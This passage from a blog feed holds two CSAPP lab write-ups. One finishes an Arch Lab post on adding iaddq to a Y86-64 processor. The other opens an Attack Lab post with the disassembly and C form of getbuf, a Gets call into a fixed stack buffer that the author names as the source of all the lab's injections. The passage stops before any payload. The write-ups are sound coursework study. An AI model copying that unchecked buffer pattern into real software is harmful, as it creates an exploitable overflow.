class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.05764em;">lE</span></span></span></span></td><td style="text-align:left"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>R</mi><mo stretchy="false">[</mo><mi>r</mi><mi>B</mi><mo stretchy="false">]</mo><mo>←</mo><mi>v</mi><mi>a</mi><mi>l</mi><mi>E</mi></mrow><annotation encoding="application/x-tex">R[rB] \leftarrow valE</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.05764em;">lE</span></span></span></span></td><td style="text-align:left"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>R</mi><mo stretchy="false">[</mo><mi>r</mi><mi>B</mi><mo stretchy="false">]</mo><mo>←</mo><mi>v</mi><mi>a</mi><mi>l</mi><mi>E</mi></mrow><annotation encoding="application/x-tex">R[rB] \leftarrow valE</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.05764em;">lE</span></span></span></span></td></tr><tr><td style="text-align:left"><strong>更新 PC</strong></td><td style="text-align:left"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>P</mi><mi>C</mi><mo>←</mo><mi>v</mi><mi>a</mi><mi>l</mi><mi>P</mi></mrow><annotation encoding="application/x-tex">PC \leftarrow valP</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">PC</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.13889em;">lP</span></span></span></span></td><td style="text-align:left"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>P</mi><mi>C</mi><mo>←</mo><mi>v</mi><mi>a</mi><mi>l</mi><mi>P</mi></mrow><annotation encoding="application/x-tex">PC \leftarrow valP</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">PC</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.13889em;">lP</span></span></span></span></td><td style="text-align:left"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>P</mi><mi>C</mi><mo>←</mo><mi>v</mi><mi>a</mi><mi>l</mi><mi>P</mi></mrow><annotation encoding="application/x-tex">PC \leftarrow valP</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">PC</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.13889em;">lP</span></span></span></span></td></tr></tbody></table><p>按照以上设计更改 <code>sim/seq/seq-full.hcl</code></p><details><summary> <code>sim/seq/seq-full.hcl</code> </summary><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br></pre></td><td class="code"><pre><span class="line">#/* $begin seq-all-hcl */</span><br><span class="line">####################################################################</span><br><span class="line">#  HCL Description of Control for Single Cycle Y86-64 Processor SEQ   #</span><br><span class="line">#  Copyright (C) Randal E. Bryant, David R. O&#x27;Hallaron, 2010       #</span><br><span class="line">####################################################################</span><br><span class="line"></span><br><span class="line">## Your task is to implement the iaddq instruction</span><br><span class="line">## The file contains a declaration of the icodes</span><br><span class="line">## for iaddq (IIADDQ)</span><br><span class="line">## Your job is to add the rest of the logic to make it work</span><br><span class="line"></span><br><span class="line">####################################################################</span><br><span class="line">#    C Include&#x27;s.  Don&#x27;t alter these                               #</span><br><span class="line">####################################################################</span><br><span class="line"></span><br><span class="line">quote &#x27;#include &lt;stdio.h&gt;&#x27;</span><br><span class="line">quote &#x27;#include &quot;isa.h&quot;&#x27;</span><br><span class="line">quote &#x27;#include &quot;sim.h&quot;&#x27;</span><br><span class="line">quote &#x27;int sim_main(int argc, char *argv[]);&#x27;</span><br><span class="line">quote &#x27;word_t gen_pc()&#123;return 0;&#125;&#x27;</span><br><span class="line">quote &#x27;int main(int argc, char *argv[])&#x27;</span><br><span class="line">quote &#x27;  &#123;plusmode=0;return sim_main(argc,argv);&#125;&#x27;</span><br><span class="line"></span><br><span class="line">####################################################################</span><br><span class="line">#    Declarations.  Do not change/remove/delete any of these       #</span><br><span class="line">####################################################################</span><br><span class="line"></span><br><span class="line">##### Symbolic representation of Y86-64 Instruction Codes #############</span><br><span class="line">wordsig INOP &#x27;I_NOP&#x27;</span><br><span class="line">wordsig IHALT&#x27;I_HALT&#x27;</span><br><span class="line">wordsig IRRMOVQ&#x27;I_RRMOVQ&#x27;</span><br><span class="line">wordsig IIRMOVQ&#x27;I_IRMOVQ&#x27;</span><br><span class="line">wordsig IRMMOVQ&#x27;I_RMMOVQ&#x27;</span><br><span class="line">wordsig IMRMOVQ&#x27;I_MRMOVQ&#x27;</span><br><span class="line">wordsig IOPQ&#x27;I_ALU&#x27;</span><br><span class="line">wordsig IJXX&#x27;I_JMP&#x27;</span><br><span class="line">wordsig ICALL&#x27;I_CALL&#x27;</span><br><span class="line">wordsig IRET&#x27;I_RET&#x27;</span><br><span class="line">wordsig IPUSHQ&#x27;I_PUSHQ&#x27;</span><br><span class="line">wordsig IPOPQ&#x27;I_POPQ&#x27;</span><br><span class="line"># Instruction code for iaddq instruction</span><br><span class="line">wordsig IIADDQ&#x27;I_IADDQ&#x27;</span><br><span class="line"></span><br><span class="line">##### Symbolic represenations of Y86-64 function codes                  #####</span><br><span class="line">wordsig FNONE    &#x27;F_NONE&#x27;        # Default function code</span><br><span class="line"></span><br><span class="line">##### Symbolic representation of Y86-64 Registers referenced explicitly #####</span><br><span class="line">wordsig RRSP     &#x27;REG_RSP&#x27;    # Stack Pointer</span><br><span class="line">wordsig RNONE    &#x27;REG_NONE&#x27;   # Special value indicating &quot;no register&quot;</span><br><span class="line"></span><br><span class="line">##### ALU Functions referenced explicitly                            #####</span><br><span class="line">wordsig ALUADD&#x27;A_ADD&#x27;# ALU should add its arguments</span><br><span class="line"></span><br><span class="line">##### Possible instruction status values                             #####</span><br><span class="line">wordsig SAOK&#x27;STAT_AOK&#x27;# Normal execution</span><br><span class="line">wordsig SADR&#x27;STAT_ADR&#x27;# Invalid memory address</span><br><span class="line">wordsig SINS&#x27;STAT_INS&#x27;# Invalid instruction</span><br><span class="line">wordsig SHLT&#x27;STAT_HLT&#x27;# Halt instruction encountered</span><br><span class="line"></span><br><span class="line">##### Signals that can be referenced by control logic ####################</span><br><span class="line"></span><br><span class="line">##### Fetch stage inputs#####</span><br><span class="line">wordsig pc &#x27;pc&#x27;# Program counter</span><br><span class="line">##### Fetch stage computations#####</span><br><span class="line">wordsig imem_icode &#x27;imem_icode&#x27;# icode field from instruction memory</span><br><span class="line">wordsig imem_ifun  &#x27;imem_ifun&#x27; # ifun field from instruction memory</span><br><span class="line">wordsig icode  &#x27;icode&#x27;# Instruction control code</span><br><span class="line">wordsig ifun  &#x27;ifun&#x27;# Instruction function</span><br><span class="line">wordsig rA  &#x27;ra&#x27;# rA field from instruction</span><br><span class="line">wordsig rB  &#x27;rb&#x27;# rB field from instruction</span><br><span class="line">wordsig valC  &#x27;valc&#x27;# Constant from instruction</span><br><span class="line">wordsig valP  &#x27;valp&#x27;# Address of following instruction</span><br><span class="line">boolsig imem_error &#x27;imem_error&#x27;# Error signal from instruction memory</span><br><span class="line">boolsig instr_valid &#x27;instr_valid&#x27;# Is fetched instruction valid?</span><br><span class="line"></span><br><span class="line">##### Decode stage computations#####</span><br><span class="line">wordsig valA&#x27;vala&#x27;# Value from register A port</span><br><span class="line">wordsig valB&#x27;valb&#x27;# Value from register B port</span><br><span class="line"></span><br><span class="line">##### Execute stage computations#####</span><br><span class="line">wordsig valE&#x27;vale&#x27;# Value computed by ALU</span><br><span class="line">boolsig Cnd&#x27;cond&#x27;# Branch test</span><br><span class="line"></span><br><span class="line">##### Memory stage computations#####</span><br><span class="line">wordsig valM&#x27;valm&#x27;# Value read from memory</span><br><span class="line">boolsig dmem_error &#x27;dmem_error&#x27;# Error signal from data memory</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">####################################################################</span><br><span class="line">#    Control Signal Definitions.                                   #</span><br><span class="line">####################################################################</span><br><span class="line"></span><br><span class="line">################ Fetch Stage     ###################################</span><br><span class="line"></span><br><span class="line"># Determine instruction code</span><br><span class="line">word icode = [</span><br><span class="line">imem_error: INOP;</span><br><span class="line">1: imem_icode;# Default: get from instruction memory</span><br><span class="line">];</span><br><span class="line"></span><br><span class="line"># Determine instruction function</span><br><span class="line">word ifun = [</span><br><span class="line">imem_error: FNONE;</span><br><span class="line">1: imem_ifun;# Default: get from instruction memory</span><br><span class="line">];</span><br><span class="line"></span><br><span class="line">bool instr_valid = icode in </span><br><span class="line">&#123; INOP, IHALT, IRRMOVQ, IIRMOVQ, IRMMOVQ, IMRMOVQ,</span><br><span class="line">       IOPQ, IJXX, ICALL, IRET, IPUSHQ, IPOPQ, IIADDQ &#125;;</span><br><span class="line"></span><br><span class="line"># Does fetched instruction require a regid byte?</span><br><span class="line">bool need_regids =</span><br><span class="line">icode in &#123; IRRMOVQ, IOPQ, IPUSHQ, IPOPQ, </span><br><span class="line">     IIRMOVQ, IRMMOVQ, IMRMOVQ, IIADDQ &#125;;</span><br><span class="line"></span><br><span class="line"># Does fetched instruction require a constant word?</span><br><span class="line">bool need_valC =</span><br><span class="line">icode in &#123; IIRMOVQ, IRMMOVQ, IMRMOVQ, IJXX, ICALL, IIADDQ &#125;;</span><br><span class="line"></span><br><span class="line">################ Decode Stage    ###################################</span><br><span class="line"></span><br><span class="line">## What register should be used as the A source?</span><br><span class="line">word srcA = [</span><br><span class="line">icode in &#123; IRRMOVQ, IRMMOVQ, IOPQ, IPUSHQ  &#125; : rA;</span><br><span class="line">icode in &#123; IPOPQ, IRET &#125; : RRSP;</span><br><span class="line">1 : RNONE; # Don&#x27;t need register</span><br><span class="line">];</span><br><span class="line"></span><br><span class="line">## What register should be used as the B source?</span><br><span class="line">word srcB = [</span><br><span class="line">icode in &#123; IOPQ, IRMMOVQ, IMRMOVQ, IIADDQ &#125; : rB;</span><br><span class="line">icode in &#123; IPUSHQ, IPOPQ, ICALL, IRET &#125; : RRSP;</span><br><span class="line">1 : RNONE;  # Don&#x27;t need register</span><br><span class="line">];</span><br><span class="line"></span><br><span class="line">## What register should be used as the E destination?</span><br><span class="line">word dstE = [</span><br><span class="line">icode in &#123; IRRMOVQ &#125; &amp;&amp; Cnd : rB;</span><br><span class="line">icode in &#123; IIRMOVQ, IOPQ, IIADDQ &#125; : rB;</span><br><span class="line">icode in &#123; IPUSHQ, IPOPQ, ICALL, IRET &#125; : RRSP;</span><br><span class="line">1 : RNONE;  # Don&#x27;t write any register</span><br><span class="line">];</span><br><span class="line"></span><br><span class="line">## What register should be used as the M destination?</span><br><span class="line">word dstM = [</span><br><span class="line">icode in &#123; IMRMOVQ, IPOPQ &#125; : rA;</span><br><span class="line">1 : RNONE;  # Don&#x27;t write any register</span><br><span class="line">];</span><br><span class="line"></span><br><span class="line">################ Execute Stage   ###################################</span><br><span class="line"></span><br><span class="line">## Select input A to ALU</span><br><span class="line">word aluA = [</span><br><span class="line">icode in &#123; IRRMOVQ, IOPQ &#125; : valA;</span><br><span class="line">icode in &#123; IIRMOVQ, IRMMOVQ, IMRMOVQ, IIADDQ &#125; : valC;</span><br><span class="line">icode in &#123; ICALL, IPUSHQ &#125; : -8;</span><br><span class="line">icode in &#123; IRET, IPOPQ &#125; : 8;</span><br><span class="line"># Other instructions don&#x27;t need ALU</span><br><span class="line">];</span><br><span class="line"></span><br><span class="line">## Select input B to ALU</span><br><span class="line">word aluB = [</span><br><span class="line">icode in &#123; IRMMOVQ, IMRMOVQ, IOPQ, ICALL, </span><br><span class="line">      IPUSHQ, IRET, IPOPQ, IIADDQ &#125; : valB;</span><br><span class="line">icode in &#123; IRRMOVQ, IIRMOVQ &#125; : 0;</span><br><span class="line"># Other instructions don&#x27;t need ALU</span><br><span class="line">];</span><br><span class="line"></span><br><span class="line">## Set the ALU function</span><br><span class="line">word alufun = [</span><br><span class="line">icode == IOPQ : ifun;</span><br><span class="line">1 : ALUADD;</span><br><span class="line">];</span><br><span class="line"></span><br><span class="line">## Should the condition codes be updated?</span><br><span class="line">bool set_cc = icode in &#123; IOPQ, IIADDQ &#125;;</span><br><span class="line"></span><br><span class="line">################ Memory Stage    ###################################</span><br><span class="line"></span><br><span class="line">## Set read control signal</span><br><span class="line">bool mem_read = icode in &#123; IMRMOVQ, IPOPQ, IRET &#125;;</span><br><span class="line"></span><br><span class="line">## Set write control signal</span><br><span class="line">bool mem_write = icode in &#123; IRMMOVQ, IPUSHQ, ICALL &#125;;</span><br><span class="line"></span><br><span class="line">## Select memory address</span><br><span class="line">word mem_addr = [</span><br><span class="line">icode in &#123; IRMMOVQ, IPUSHQ, ICALL, IMRMOVQ &#125; : valE;</span><br><span class="line">icode in &#123; IPOPQ, IRET &#125; : valA;</span><br><span class="line"># Other instructions don&#x27;t need address</span><br><span class="line">];</span><br><span class="line"></span><br><span class="line">## Select memory input data</span><br><span class="line">word mem_data = [</span><br><span class="line"># Value from register</span><br><span class="line">icode in &#123; IRMMOVQ, IPUSHQ &#125; : valA;</span><br><span class="line"># Return PC</span><br><span class="line">icode == ICALL : valP;</span><br><span class="line"># Default: Don&#x27;t write anything</span><br><span class="line">];</span><br><span class="line"></span><br><span class="line">## Determine instruction status</span><br><span class="line">word Stat = [</span><br><span class="line">imem_error || dmem_error : SADR;</span><br><span class="line">!instr_valid: SINS;</span><br><span class="line">icode == IHALT : SHLT;</span><br><span class="line">1 : SAOK;</span><br><span class="line">];</span><br><span class="line"></span><br><span class="line">################ Program Counter Update ############################</span><br><span class="line"></span><br><span class="line">## What address should instruction be fetched at</span><br><span class="line"></span><br><span class="line">word new_pc = [</span><br><span class="line"># Call.  Use instruction constant</span><br><span class="line">icode == ICALL : valC;</span><br><span class="line"># Taken branch.  Use instruction constant</span><br><span class="line">icode == IJXX &amp;&amp; Cnd : valC;</span><br><span class="line"># Completion of RET instruction.  Use value from stack</span><br><span class="line">icode == IRET : valM;</span><br><span class="line"># Default: Use incremented PC</span><br><span class="line">1 : valP;</span><br><span class="line">];</span><br><span class="line">#/* $end seq-all-hcl */</span><br></pre></td></tr></table></figure></details><p>然后 <code>sim/ptest/README</code> 中有讲到如何测试：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">❯ make SIM=../seq/ssim TFLAGS=-h</span><br><span class="line">./optest.pl -s ../seq/ssim -h</span><br><span class="line">Usage  [-h] [-i] [-s &lt;sim&gt;] [-P] [-p &lt;pfile&gt;]</span><br><span class="line">   -h       print Help message</span><br><span class="line">   -i       test iaddq instruction</span><br><span class="line">   -s &lt;sim&gt; Specify simulator</span><br><span class="line">   -d &lt;dir&gt; Specify directory for counterexamples</span><br><span class="line">   -P Generate performance data</span><br><span class="line">   -p &lt;version&gt; Check using performance file &lt;pfile&gt;</span><br><span class="line">   -V       test Verilog implementation</span><br><span class="line">   -m &lt;model&gt; Model for Verilog</span><br><span class="line"></span><br><span class="line">❯ make SIM=../seq/ssim TFLAGS=-i</span><br><span class="line">./optest.pl -s ../seq/ssim -i</span><br><span class="line">Simulating with ../seq/ssim</span><br><span class="line">  All 58 ISA Checks Succeed</span><br><span class="line">./jtest.pl -s ../seq/ssim -i</span><br><span class="line">Simulating with ../seq/ssim</span><br><span class="line">  All 96 ISA Checks Succeed</span><br><span class="line">./ctest.pl -s ../seq/ssim -i</span><br><span class="line">Simulating with ../seq/ssim</span><br><span class="line">  All 22 ISA Checks Succeed</span><br><span class="line">./htest.pl -s ../seq/ssim -i</span><br><span class="line">Simulating with ../seq/ssim</span><br><span class="line">  All 756 ISA Checks Succeed</span><br></pre></td></tr></table></figure><p><code>iaddq</code> implemented successfully!</p><h4 id="part-c"><a class="markdownIt-Anchor" href="#part-c"></a> Part C</h4><p>咕咕咕！</p>]]>
    </content>
    <id>https://blog.z0z0r4.top/2026/03/28/csapp/arch-lab/</id>
    <link href="https://blog.z0z0r4.top/2026/03/28/csapp/arch-lab/"/>
    <published>2026-03-28T10:16:41.778Z</published>
    <summary>
      <![CDATA[<p>这是 CSAPP Lab 记录的第四弹————ArchLab。</p>
<p>!未完成</p>]]>
    </summary>
    <title>CSAPP Arch Lab</title>
    <updated>2026-04-09T18:27:35.392Z</updated>
  </entry>
  <entry>
    <author>
      <name>z0z0r4</name>
    </author>
    <category term="study-notes" scheme="https://blog.z0z0r4.top/categories/study-notes/"/>
    <category term="CS" scheme="https://blog.z0z0r4.top/categories/study-notes/CS/"/>
    <category term="CSAPP" scheme="https://blog.z0z0r4.top/categories/study-notes/CS/CSAPP/"/>
    <category term="study-notes" scheme="https://blog.z0z0r4.top/tags/study-notes/"/>
    <category term="CSAPP" scheme="https://blog.z0z0r4.top/tags/CSAPP/"/>
    <content>
      <![CDATA[<p>这是 CSAPP LaB 记录的第三弹，两天完成 Attack Lab。</p><span id="more"></span><blockquote><p>封面取自 <a href="https://t.me/addstickers/chibi_goomba">https://t.me/addstickers/chibi_goomba</a></p></blockquote><p>也是隔了一个月才开 Attack Lab，太懒了…</p><p>资料见 <a href="https://csapp.cs.cmu.edu/3e/labs.html">https://csapp.cs.cmu.edu/3e/labs.html</a> 里的 <a href="https://csapp.cs.cmu.edu/3e/attacklab.pdf">https://csapp.cs.cmu.edu/3e/attacklab.pdf</a>，下载地址 <a href="https://csapp.cs.cmu.edu/3e/target1.tar">https://csapp.cs.cmu.edu/3e/target1.tar</a></p><p>参考过 <a href="https://www.wdxtub.com/blog/csapp/thick-csapp-lab-3">https://www.wdxtub.com/blog/csapp/thick-csapp-lab-3</a></p><p>所有的注入都源于这个 <code>getbuf</code> 函数：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">00000000004017a8 &lt;getbuf&gt;:</span><br><span class="line">  4017a8:48 83 ec 28          sub    $0x28,%rsp</span><br><span class="line">  4017ac:48 89 e7             mov    %rsp,%rdi</span><br><span class="line">  4017af:e8 8c 02 00 00       call   401a40 &lt;Gets&gt;</span><br><span class="line">  4017b4:b8 01 00 00 00       mov    $0x1,%eax</span><br><span class="line">  4017b9:48 83 c4 28          add    $0x28,%rsp</span><br><span class="line">  4017bd:c3                   ret</span><br><span class="line">  4017be:90                   nop</span><br><span class="line">  4017bf:90                   nop</span><br></pre></td></tr></table></figure><p>翻译成 C 代码：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">unsigned</span> <span class="title function_">getbuf</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="type">char</span> buf[BUFFER_SIZE];</span><br><span class="line">    Gets(buf);</span><br><span class="line">    <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><code>test</code> 函数调用了 <code>getbuf</code>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line">0000000000401968 &lt;test&gt;:</span><br><span class="line">  401968:48 83 ec 08          sub    $0x8,%rsp</span><br><span class="line">  40196c:b8 00 00 00 00       mov    $0x0,%eax</span><br><span class="line">  401971:e8 32 fe ff ff       call   4017a8 &lt;getbuf&gt;</span><br><span class="line">  401976:89 c2                mov    %eax,%edx</span><br><span class="line">  401978:be 88 31 40 00       mov    $0x403188,%esi</span><br><span class="line">  40197d:bf 01 00 00 00       mov    $0x1,%edi</span><br><span class="line">  401982:b8 00 00 00 00       mov    $0x0,%eax</span><br><span class="line">  401987:e8 64 f4 ff ff       call   400df0 &lt;__printf_chk@plt&gt;</span><br><span class="line">  40198c:48 83 c4 08          add    $0x8,%rsp</span><br><span class="line">  401990:c3                   ret</span><br><span class="line">  401991:90                   nop</span><br><span class="line">  401992:90                   nop</span><br><span class="line">  401993:90                   nop</span><br><span class="line">  401994:90                   nop</span><br><span class="line">  401995:90                   nop</span><br><span class="line">  401996:90                   nop</span><br><span class="line">  401997:90                   nop</span><br><span class="line">  401998:90                   nop</span><br><span class="line">  401999:90                   nop</span><br><span class="line">  40199a:90                   nop</span><br><span class="line">  40199b:90                   nop</span><br><span class="line">  40199c:90                   nop</span><br><span class="line">  40199d:90                   nop</span><br><span class="line">  40199e:90                   nop</span><br><span class="line">  40199f:90                   nop</span><br></pre></td></tr></table></figure><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span> <span class="title function_">test</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="type">int</span> val;</span><br><span class="line">    val = getbuf();</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;No exploit. Getbuf returned 0x%x\n&quot;</span>, val);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 